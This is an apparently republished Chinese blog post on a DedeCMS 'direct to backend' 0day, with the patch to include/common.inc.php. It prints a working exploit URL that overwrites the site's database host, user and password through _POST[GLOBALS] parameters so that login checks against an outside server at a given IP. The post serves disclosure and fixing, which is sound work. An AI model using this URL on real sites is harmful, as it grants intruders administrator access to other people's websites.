1. 程式人生 > >dedecms織夢嚴重0day漏洞(直接進後臺)分析及修復

dedecms織夢嚴重0day漏洞(直接進後臺)分析及修復

眾所周知,因使用簡單、客戶群多,織夢CMS一直被爆出許多漏洞。今天小編在群裡得到織夢官方論壇某版主可靠訊息:“DEDECMS爆嚴重安全漏洞,近期官方會發布相關補丁,望大家及時關注補丁動態。”

bug被利用步驟如下:

http://www.ywen.info/網站後臺/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root

把上面黑底黃字上的字母改為當前的驗證碼,即可直接進入網站後臺。

小編分析了一下,

此漏洞的前提是必須得到後臺路徑才能實現,因此大家一定要養成使用DEDECM建站時改後臺名字的習慣。下面給出官方的解決辦法:

解決辦法:

找到include/common.inc.php檔案,把:

foreach($_REQUEST as $_k=>$_v)
{
var_dump($_k);
if( strlen($_k)>0 && preg_match('#^(cfg_|GLOBALS)#',$_k) )
{
exit('Request var not allow!');
}
}

換成:

//檢查和註冊外部提交的變數
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS)#',$val) )
{
exit('Request var not allow!');
}
}
}
CheckRequest($_REQUEST);